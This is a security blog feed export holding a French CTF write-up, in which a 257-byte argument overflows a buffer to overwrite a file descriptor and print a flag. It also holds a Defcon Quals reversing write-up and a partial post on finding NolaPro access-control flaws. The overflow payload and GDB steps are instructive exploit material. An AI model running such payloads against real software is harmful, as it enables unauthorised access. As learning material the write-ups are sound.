La solution est maintenant évidente, il suffit d'écraser &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ofd&lt;/span&gt; avec la valeur 1 pour que la clef soit écrite sur la sortie standard et apparaisse à l'écran. Nous allons construire une chaine constituée de 256 caractères pour remplir buf et de la valeur 1 pour écraser ofd.&amp;nbsp; On peut passer cette valeur en paramètre à GDB en utilisant la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;run $(ruby -e 'print "A" * 256 + "\x01"') &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
On peut vérifier le bon fonctionnement de notre exploit à l'aide de GDB. On commence par mettre un breakpoint juste avant l'appel à strcpy pour examiner la valeur de ofd. &lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb) b *0x080485a4&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Punto de interrupción 1 at 0x804858a: file execus4.c, line 25.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb) run $(ruby -e 'print "A" * 256 + "\x01"') &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Starting program: /home/ekse/code/execus4 $(ruby -e 'print "A" * 256 + "\x01"')&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Dev null is an awesome 100% compression ratio, secure, backup device.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Breakpoint 1, 0x080485a4 in main (argc=2, argv=0xbffff3b4)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb) x/x $esp+0x124&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff2f4:&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: red;"&gt;0x00000006&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
La valeur de ofd est actuellement 0x06. Le listing suivant montre que la valeur est bien écrasée par notre overflow.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb) nexti&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb) x/65x $esp+0x24&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff1f4:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff204:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff214:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff224:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff234:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff244:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff254:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff264:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff274:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff284:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff294:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff2a4:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff2b4:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff2c4:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff2d4:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff2e4:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x41414141&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff2f4:&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: red;"&gt;0x00000001&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(gdb) x/x $esp+0x124&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xbffff2f4:&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: red;"&gt;0x00000001&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous savons que notre exploit est fonctionnel, il suffit de lancer le binaire directement pour obtenir le flag (je n'ai malheureusement pas sauvegardé le flag original) .&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ekse@eclipse:~/code$ ./execus4 $(ruby -e 'print "A" * 256 + "\x01"')&lt;br /&gt;
Dev null is an awesome 100% compression ratio, secure, backup device.&lt;br /&gt;
ALLGLORYTOTHEHYPNOTOAD&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Un mot sur SSP&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;Le binaire utilisé lors de la compétition n'était pas compilé avec les mécanismes de sécurité tel que SSP pour facilité la solution. L'utilisation de SSP permet de bloquer cette avenue d'exploitation. Ce n'est pas toutefois pas par l'utilisation du canari (qui faisait d'ailleurs l'objet d'une très bonne présentation par Paul Rascagneres au Hackfest) puisque nous ne cherchons pas à écraser l'adresse de retour.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;La mitigation vient plutôt du fait que SSP réorganise les variables sur la stack pour placer les tableaux après les variables de taille fixe. Le listing suivant montre le même code présenté plus haut mais lorsque le mode SSP est activé :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;80485f5:&amp;nbsp;&amp;nbsp;&amp;nbsp; e8 fa fd ff ff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp; 80483f4 &amp;lt;&lt;b&gt;open&lt;/b&gt;@plt&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;80485fa:&amp;nbsp;&amp;nbsp;&amp;nbsp; 89 44 24 30&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,&lt;span style="color: red;"&gt;0x30(%esp)&lt;/span&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;80485fe:&amp;nbsp;&amp;nbsp;&amp;nbsp; c7 44 24 04 01 00 00 &amp;nbsp;&amp;nbsp;&amp;nbsp; movl&amp;nbsp;&amp;nbsp; $0x1,0x4(%esp)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048605:&amp;nbsp;&amp;nbsp;&amp;nbsp; 00 &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048606:&amp;nbsp;&amp;nbsp;&amp;nbsp; 8d 84 24 39 01 00 00 &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x139(%esp),%eax&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804860d:&amp;nbsp;&amp;nbsp;&amp;nbsp; 89 04 24&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,(%esp)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048610:&amp;nbsp;&amp;nbsp;&amp;nbsp; e8 df fd ff ff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp; 80483f4 &amp;lt;&lt;b&gt;open&lt;/b&gt;@plt&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048615:&amp;nbsp;&amp;nbsp;&amp;nbsp; 89 44 24 34&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,&lt;span style="color: red;"&gt;0x34(%esp)&lt;/span&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048619:&amp;nbsp;&amp;nbsp;&amp;nbsp; 8b 44 24 1c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x1c(%esp),%eax&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804861d:&amp;nbsp;&amp;nbsp;&amp;nbsp; 83 c0 04&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x4,%eax&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048620:&amp;nbsp;&amp;nbsp;&amp;nbsp; 8b 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; (%eax),%eax&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048622:&amp;nbsp;&amp;nbsp;&amp;nbsp; 89 44 24 04&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,0x4(%esp)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048626:&amp;nbsp;&amp;nbsp;&amp;nbsp; 8d 44 24 39&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: red;"&gt;0x39(%esp&lt;/span&gt;),%eax&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804862a:&amp;nbsp;&amp;nbsp;&amp;nbsp; 89 04 24&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,(%esp)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804862d:&amp;nbsp;&amp;nbsp;&amp;nbsp; e8 12 fe ff ff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp; 8048444 &amp;lt;&lt;b&gt;strcpy&lt;/b&gt;@plt&amp;gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;
Comme on peut le voir, la variable &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ofd&lt;/span&gt; se trouve à ESP+0x34 et &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;buf&lt;/span&gt; commence à ESP+0x39. On ne peut donc plus écraser &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ofd&lt;/span&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-2773437427671014272?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/5efMOdgkf90" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/2773437427671014272/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2010/11/solution-execus-4-du-hackfest-2010.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/2773437427671014272?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/2773437427671014272?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2010/11/solution-execus-4-du-hackfest-2010.html" title="Solution ExecUS #4 du Hackfest 2010" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;DkAAQ3c9cCp7ImA9WxFXGE0.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-4140892308375787356</id><published>2010-05-25T12:25:00.000-04:00</published><updated>2010-05-25T12:25:42.968-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-25T12:25:42.968-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="donkeys" /><category scheme="http://www.blogger.com/atom/ns#" term="binary" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><title>Defcon Quals - Binary 200 writeup</title><content type="html">This is a writeup on how to solve Binary 200 from the Defcon quals that were held this weekend. &lt;br /&gt;
&lt;br /&gt;
In Binary 200, you were provided with an ELF binary. The first step is to determine what OS this binary was supposed to run on. A cursory look with an hex editor let you know that the binary is for Haiku OS, the open-source decedent of the now defunct BeOS.&lt;br /&gt;
&lt;br /&gt;
We thus proceeded to download a VMware image from the official website and transferred the binary on it. The hardest part of the challenge was to figure out how to get a damn terminal on Haiku (click on the feather at the top to get the application menu). We then launched the binary and ... it crashed. Hopefully, Haiku came with gdb and it even offered a menu to debug the crashed application.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_9BvPEH0xq_M/S_v4WW5dVpI/AAAAAAAAAE4/fdxOpulboCc/s1600/backtrace.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://4.bp.blogspot.com/_9BvPEH0xq_M/S_v4WW5dVpI/AAAAAAAAAE4/fdxOpulboCc/s640/backtrace.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
As can be seen on the image, the executable crashes in the pre_init() function while doing some pre-execution stuff. We could try and figure out what the problem is but we don't really care, we just want to program to run. Disassembling it with objdump, we see a symbol _start() which looks like our program entry point. In gdb, we jump to it using the command jump _start (yeah, that simple).&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_9BvPEH0xq_M/S_v5TFexQEI/AAAAAAAAAFA/3YlICRojscc/s1600/jump.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="271" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S_v5TFexQEI/AAAAAAAAAFA/3YlICRojscc/s400/jump.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
We then get an url taking us to a very weird video involving donkeys and people from Columbia (and definitely NSFW) that will leave you somewhat.. speechless. The key was "Asses of the Caribbean".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-4140892308375787356?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/s8FoF_s3Wh0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/4140892308375787356/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2010/05/defcon-quals-binary-200-writeup.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/4140892308375787356?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/4140892308375787356?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2010/05/defcon-quals-binary-200-writeup.html" title="Defcon Quals - Binary 200 writeup" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_9BvPEH0xq_M/S_v4WW5dVpI/AAAAAAAAAE4/fdxOpulboCc/s72-c/backtrace.png" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;D0cMRnk_eip7ImA9WxFRF0g.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-2258450357765423284</id><published>2010-05-01T18:49:00.003-04:00</published><updated>2010-05-01T19:04:47.742-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-01T19:04:47.742-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="advisory" /><category scheme="http://www.blogger.com/atom/ns#" term="assessment" /><title>Additional details on NolaPro vulnerabilities (CORELAN-10-035)</title><content type="html">I released an &lt;a href="http://www.corelan.be:8800/advisories.php?id=CORELAN-10-035"&gt;advisory&lt;/a&gt; today concerning some web vulnerabilities in &lt;a href="http://www.nolapro.com/"&gt;NolaPro&lt;/a&gt;, a free accounting application based on PHP/MySQL. In this blog post, I'll provide some insights on how I found the flaws. Those are fairly simple bugs so don't expect anything really ground-breaking; if you're a web application security specialist, you can safely spare yourself this reading. Otherwise, keep on reading :-)&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Phase 1 : Target identification&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The first step to assess an application is to install it in a testing environment and understand the way it works. NolaPro comes with an installer that bundles its own LAMP stack which makes it really simple to deploy. NolaPro also uses ionCube, a PHP code obfuscator. The php files look like this :&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_9BvPEH0xq_M/S9yWhBPCw9I/AAAAAAAAAEY/oJ1KQ6LxC0Q/s1600/ioncube_nolapro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="259" src="http://1.bp.blogspot.com/_9BvPEH0xq_M/S9yWhBPCw9I/AAAAAAAAAEY/oJ1KQ6LxC0Q/s640/ioncube_nolapro.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
A source code review is not possible without first reversing the code or performing an analysis on the PHP bytecode. For this assessment, I preferred to use scanning since it would probably be easier and faster.&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: large;"&gt; Phase 2 : Verification of Authentication&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
To access information in NolaPro, you first need to provide a valid user name and password. If you try to access a page directly without being logged in, you will be redirected to the login page. A common problem is that developers forget to verify the credentials on some pages of the web application : This is risk #8 (&lt;a href="http://www.owasp.org/index.php/Top_10_2010-A8"&gt;Failure to Restrict URL Access&lt;/a&gt;) of the OWASP Top 10. In PHP, this is most of the time done by including a PHP script that does this verification at the beginning of each php file. Using &lt;i&gt;grep&lt;/i&gt;, files that don't perform the include can be easily spotted and reviewed manually. However in our case, this approach is not possible. We will thus need to request every page and see if it returns the login page or not.&lt;br /&gt;
&lt;br /&gt;
Slight problem, NolaPro consists of about 860 files, so browsing each manually would be really long (and boring). I automated this approach by writing a little ruby script that given a list of filenames, requests each of them and prints the size of the returned page. My first approach was to perform the MD5 sum of each page but some code is changing on the login page every time you consult it, so the sums were all different.&lt;br /&gt;
&lt;br /&gt;
&lt;script src="http://pastebin.com/embed_js.php?i=deQYCwEi"&gt;
&lt;/script&gt;&lt;br /&gt;
&lt;br /&gt;
